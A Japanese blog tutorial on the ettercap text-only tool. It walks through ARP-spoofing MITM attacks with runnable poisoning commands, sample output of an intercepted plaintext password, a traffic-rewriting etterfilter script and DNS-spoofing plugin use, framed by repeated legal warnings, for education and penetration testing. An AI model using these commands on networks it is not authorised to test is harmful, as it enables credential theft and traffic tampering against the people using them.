ettercap-text-only 徹底解説:テキストベースARPスプーフィングとMITM攻撃入門 🚀

セキュリティツール

ネットワークセキュリティの学習やペネトレーションテストにおいて、中間者攻撃(Man-in-the-Middle, MITM)は非常に重要な概念です。Ettercapは、このMITM攻撃を容易に実行できる強力なツールスイートであり、特にettercap-text-onlyettercap -T)は、GUI環境がない場合やスクリプトによる自動化を行いたい場合に重宝します。このブログ記事では、ettercap-text-onlyの基本的な使い方から、ARPスプーフィングの実践例までを詳しく解説していきます。💡

⚠️ 重要: Ettercapは強力なツールですが、その使用は法律や倫理規定に従って行う必要があります。許可なく他者のネットワークやシステムに対して使用することは、不正アクセス禁止法などの法律に抵触し、処罰の対象となります。本記事の内容は、あくまで教育目的または自身の管理下にあるネットワークでのテスト目的でのみ利用してください。

Ettercap とは? 🤔

Ettercap(Ethernet Captureの略)は、ネットワーク上のデータ(パケット)を傍受し、解析、改ざんするためのオープンソースツールです。元々はAlberto Ornaghi (ALoR)氏とMarco Valleri (NaGA)氏によって開発され、現在はEttercap Development Teamによってメンテナンスされています。

主な機能としては、ライブ接続のスニッフィング(盗聴)、オンザフライでのコンテンツフィルタリング、ARPスプーフィング、DNSスプーフィング、パスワード収集など多岐にわたります。スイッチング環境下でもARPスプーフィングを用いることで効果的にMITM攻撃を実行できる点が特徴です。

Ettercapにはいくつかのインターフェースが用意されています。

  • Text only (`-T`): テキストベースのインターフェース。CUI環境での利用やスクリプト連携に適しています。本記事の主役です。
  • Curses (`-C`): テキストベースながら、よりインタラクティブな操作が可能なインターフェース。
  • GTK (`-G`): グラフィカルユーザーインターフェース(GUI)。直感的な操作が可能です。
  • Daemon (`-D`): バックグラウンドで動作するデーモンモード。

ettercap-text-onlyは、リソース消費が少なく、SSH経由でのリモート操作や自動化スクリプトへの組み込みが容易であるため、特定のシナリオではGUI版よりも好まれることがあります。

インストール 💻

Ettercapは多くのLinuxディストリビューションの公式リポジトリに含まれています。通常、ettercap-commonパッケージに必要なファイルが含まれ、インターフェースに応じてettercap-graphical(GUI版)またはettercap-text-only(テキスト版)をインストールします。Kali Linuxのようなペネトレーションテスト用ディストリビューションには、デフォルトでインストールされていることが多いです。

以下に、主要なLinuxディストリビューションでのインストールコマンド例を示します。

Debian / Ubuntu / Kali Linux:

sudo apt update
sudo apt install ettercap-text-only

GUI版も必要な場合は以下も実行します。

sudo apt install ettercap-graphical

Fedora:

sudo dnf install ettercap

(Fedoraでは、ettercapパッケージにテキスト版とGUI版の両方が含まれる場合があります。)

Arch Linux:

sudo pacman -S ettercap-ng

インストール後、バージョンを確認できます。

ettercap --version

最新の安定版は、GitHubのリリースセクションや公式サイトで確認できます。2020年8月1日にバージョン0.8.3.1がリリースされています。

基本的な概念 🧠

ettercap-text-onlyを効果的に使用するために、以下の基本的なネットワーク概念を理解しておくことが重要です。

  • ARP (Address Resolution Protocol): ローカルネットワーク(LAN)上で、IPアドレスから対応するMACアドレス(物理アドレス)を解決するためのプロトコルです。デバイスはARPリクエストをブロードキャストし、該当するIPアドレスを持つデバイスがARPリプライで自身のMACアドレスを返します。
  • ARPスプーフィング (ARP Spoofing / ARP Poisoning): 攻撃者が偽のARPリプライを送信し、ターゲットデバイスのARPテーブル(IPアドレスとMACアドレスの対応表)を書き換える攻撃手法です。これにより、攻撃者はターゲット間の通信を自身のマシン経由に迂回させることができます。例えば、ターゲットAとルーターBの通信を傍受したい場合、攻撃者はAに対して「BのIPアドレスは自分のMACアドレスだ」と偽り、Bに対して「AのIPアドレスは自分のMACアドレスだ」と偽ります。
  • MITM攻撃 (Man-in-the-Middle Attack): 通信を行う二者間に攻撃者が割り込み、両者になりすまして通信を中継・傍受・改ざんする攻撃の総称です。ARPスプーフィングは、LAN環境におけるMITM攻撃を実現するための一般的な手法の一つです。
  • スニッフィング (Sniffing): ネットワーク上を流れるパケットを傍受し、その内容を解析することです。Ettercapは強力なスニッフィング機能を備えています。
  • Unified Sniffing: Ettercapのデフォルトのスニッフィングモードです。カーネルのIPフォワーディングを無効にし、Ettercap自身がパケット転送を行います。これにより、複数のMITM攻撃手法を同時に適用できます。
  • Bridged Sniffing: 2つのネットワークインターフェースを使用し、一方のインターフェースで受信したパケットをもう一方に転送するモードです。物理的にネットワークの経路に入る必要がある場合に利用されます。

ettercap-text-only の基本的な使い方 🛠️

ettercap-text-onlyは、コマンドラインオプションを指定して起動します。スーパーユーザー権限(root)が必要になることが多いです。

sudo ettercap -T [オプション] [TARGET1] [TARGET2]

主なオプションをいくつか紹介します。

オプション 説明
-T, --text テキストインターフェースを使用します(必須)。
-i <interface>, --interface <interface> 使用するネットワークインターフェースを指定します(例: eth0, wlan0)。
-M <method>[:args], --mitm <method>[:args] 実行するMITM攻撃の種類を指定します。ARPスプーフィングの場合はarpを指定します。
例: -M arp:remote (リモートARPポイズニング)
TARGET 攻撃対象を指定します。MAC/IPs/Portsの形式で指定します。
IPアドレスやサブネットを指定する場合: /192.168.1.10/, /192.168.1.1-50/, /192.168.1.0/24/
MACアドレスを指定する場合: /DE:AD:BE:EF:CA:FE/
ポートを指定する場合: /192.168.1.10/80,443/
ARPスプーフィングでは通常、2つのターゲットグループ(例: 被害者PCとゲートウェイ)を指定します: /target1_ip// /gateway_ip//
-q, --quiet クワイエットモード。ホスト情報などの表示を抑制します。
-s <CMDs>, --script <CMDs> 起動時に実行するコマンドを指定します(例: Lqs でリスト表示、スニッフィング開始、終了)。
-L <basename>, --log <basename> キャプチャしたデータをログファイルに保存します。.ecp(パケット情報)と.eci(ホスト情報)ファイルが生成されます。
-r <file>, --read <file> pcapファイルからパケットを読み込みます。
-w <file>, --write <file> キャプチャしたパケットをpcapファイルに書き出します。
-F <file>, --filter <file> コンパイル済みのEtterfilterスクリプト(.ef)をロードして適用します。
-P <plugin>, --plugin <plugin> 指定したプラグインを起動します。--plugin-list オプションで利用可能なプラグインを表示できます。
-d, --dns DNSホスト名を解決します。
-V <text|curses|gtk>, --view <text|curses|gtk> 読み込んだログファイルの内容を表示する際のビューを指定します。
-z, --silent 初期のスニッフィングを開始しません。プラグインのみを実行する場合などに使用します。
-h, --help ヘルプメッセージを表示します。

Ettercapのテキストモードでは、起動後、検出された接続や収集された情報(ユーザー名、パスワードなど)がリアルタイムでコンソールに出力されます。hキーを押すとヘルプが表示され、利用可能なキーボードショートカットを確認できます。qキーでEttercapを終了します。

実践例:ARPスプーフィングによるHTTP通信傍受 🌐

ここでは、ローカルネットワーク内の特定のターゲットPC(例: 192.168.1.10)とデフォルトゲートウェイ(例: 192.168.1.1)間の通信をARPスプーフィングによって傍受し、HTTP通信の内容(特に平文のパスワードなど)を監視するシナリオを考えます。

ステップ1: ターゲット情報の確認

まず、攻撃対象となるターゲットPCのIPアドレスとMACアドレス、そしてデフォルトゲートウェイのIPアドレスとMACアドレスを確認します。ip addrコマンドで自身のIPアドレスとネットワークインターフェース名を確認し、arp -aコマンドやnmaparp-scanなどを使ってネットワーク内のデバイス情報を収集します。

ip addr show
sudo arp-scan --localnet

ステップ2: Ettercap の起動

ターゲットPC(192.168.1.10)とゲートウェイ(192.168.1.1)を指定して、テキストモードでARPスプーフィングを開始します。ネットワークインターフェースがeth0であると仮定します。

sudo ettercap -T -i eth0 -M arp:remote /192.168.1.10// /192.168.1.1//
  • -T: テキストモードを指定。
  • -i eth0: 使用するインターフェースを指定。
  • -M arp:remote: ARPスプーフィング(remoteオプション付き)を実行。:remote はターゲット間の双方向の通信をポイズニングします。:oneway だと片方向のみです。
  • /192.168.1.10//: ターゲット1を指定(IPアドレスのみ)。
  • /192.168.1.1//: ターゲット2を指定(IPアドレスのみ)。

Ettercapが起動すると、ARPポイズニングが開始され、ターゲット間の通信が攻撃者のマシンを経由するようになります。


ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:
  eth0 -> MA:CA:DD:RE:SS:01

  Privileges dropped to UID 65534 GID 65534...

  39 plugins loaded: ...

Scanning for merged targets (2 groups of hosts)...

* |==================================================>| 100.00 %

2 hosts added to the list...

ARP poisoning victims:
 GROUP 1 : 192.168.1.10 MA:CA:DD:RE:SS:10
 GROUP 2 : 192.168.1.1 MA:CA:DD:RE:SS:02
Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

Activating ARP poisoner (remote)...
        

ステップ3: 通信の監視

Ettercapのコンソール出力を監視します。ターゲットPCがHTTPサイトにアクセスし、ログインフォームなどを送信すると、平文のユーザー名やパスワードが以下のように表示されることがあります。


HTTP : 192.168.1.10:54321 -> example.com:80 (POST)

USER: testuser PASS: P@sswOrd123 INFO: http://example.com/login
        

HTTPS通信は通常暗号化されているため、そのままでは内容は傍受できません。SSL/TLSのMITM攻撃(SSL StrippingやFake Certificate)を行うには、追加の設定やプラグインが必要ですが、現代のウェブサイトではHSTS(HTTP Strict Transport Security)や証明書ピンニングなどの対策が施されており、成功させるのは困難になっています。

ステップ4: Ettercap の停止

攻撃を終了するには、Ettercapのコンソールでqキーを押します。Ettercapは終了時にARPテーブルを元に戻そうとしますが、確実に元に戻すためには、ターゲットデバイスを再起動するか、ARPキャッシュをクリアすることが推奨されます。

💡 ヒント: -L logbasename オプションでログを保存しておくと、後で etterlog -a logbasename.ecietterlog -p logbasename.ecp コマンドで詳細を確認できます。-w output.pcap でpcapファイルとして保存し、Wiresharkで詳細な解析を行うことも有効です。

高度な機能(概要) ✨

ettercap-text-onlyは、基本的なスニッフィングやARPスプーフィング以外にも、より高度な機能を提供します。

  • Etterfilter: 独自のフィルタスクリプトを作成し、特定の条件に一致するパケットをドロップしたり、内容を書き換えたりすることができます。フィルタスクリプト(.elt)はetterfilterコマンドでコンパイルし(.efファイルが生成される)、-F <filter.ef>オプションでEttercapに読み込ませます。例えば、特定の画像を一律で別の画像に差し替える、特定の文字列を置換するなどの操作が可能です。
    # フィルタスクリプト例 (example.elt)
    if (ip.proto == TCP && tcp.dst == 80) {
      if (search(DATA.data, "Accept-Encoding")) {
        replace("Accept-Encoding", "Accept-Nothing!");
        # 画像置換などの複雑な処理も可能
        msg("Accept-Encoding modified.\n");
      }
    }
    # コンパイル
    etterfilter example.elt -o example.ef
    # Ettercap で使用
    sudo ettercap -T -i eth0 -F example.ef -M arp:remote /target// /gateway//
  • プラグイン: Ettercapには様々な機能を持つプラグインが用意されています。--plugin-listで一覧を表示できます。-P <plugin_name>オプションで特定のプラグインを有効化できます。
    • dns_spoof: DNS応答を偽装し、ユーザーを偽サイトに誘導します。設定ファイルetter.dnsに偽装ルールを記述します。
    • find_conn: 傍受したTCPコネクションを表示します。
    • find_ip: 自分以外のIPアドレスを持つホストを探します。
    • chk_poison: ARPポイズニングが成功しているか確認します。
    • repoison_arp: ARPキャッシュを定期的に再ポイズニングします。
    • sslstrip: (現在はより高度なツールが必要ですが) HTTPS接続をHTTPにダウングレードしようと試みる古典的なプラグイン(別途sslstripのセットアップが必要な場合あり)。
    # DNSスプーフィングプラグインを使用
    sudo ettercap -T -i eth0 -P dns_spoof -M arp:remote /target// /gateway//
  • 設定ファイル (etter.conf): /etc/ettercap/etter.conf(または類似のパス)には、Ettercapの動作に関する詳細な設定が含まれています。ユーザー権限の設定、SSL/TLS関連の設定(証明書のパスなど)、リダイレクトコマンドの設定などが可能です。SSL MITM攻撃を試みる場合、このファイルの編集が必要になることがあります。

倫理的考察と法的注意点 ⚖️

⚠️ 法的・倫理的責任

Ettercapは非常に強力なネットワーク分析・攻撃ツールです。その能力ゆえに、悪用されれば深刻なプライバシー侵害やセキュリティインシデントを引き起こす可能性があります。

  • 絶対に許可なく他人のネットワークやデバイスに対してEttercapを使用しないでください。これは多くの国で法律違反となり、厳しい罰則が科せられます(日本では不正アクセス禁止法など)。
  • 教育目的や研究、自身の管理下にあるネットワークのセキュリティ評価(ペネトレーションテスト)にのみ使用してください。
  • ペネトレーションテストを行う場合でも、必ず事前に書面による明確な許可を得てください。
  • 収集した情報の取り扱いには最大限の注意を払い、プライバシー保護に関する法令やガイドラインを遵守してください。

技術的な知識を持つ者は、その力を倫理的に正しく使用する責任があります。ツールの使い方を学ぶことと、それを悪用することは全く別の問題です。常に合法性と倫理観を持って行動してください。

まとめ ✅

ettercap-text-onlyは、CUI環境で動作する強力なMITM攻撃およびネットワークスニッフィングツールです。ARPスプーフィングやDNSスプーフィングなどの攻撃を比較的容易に実行でき、ネットワークの動作原理を深く理解する上で役立ちます。

軽量でスクリプトによる自動化にも適しているため、GUI版が使えない環境や特定のタスクを効率化したい場合に有効な選択肢となります。しかし、その強力さゆえに、使用には細心の注意と高い倫理観が求められます。必ず許可された環境でのみ、教育・研究・正当なセキュリティ評価の目的で使用してください。🔒

この記事が、ettercap-text-onlyの理解と適切な活用の一助となれば幸いです。

参考情報 📚

コメント

タイトルとURLをコピーしました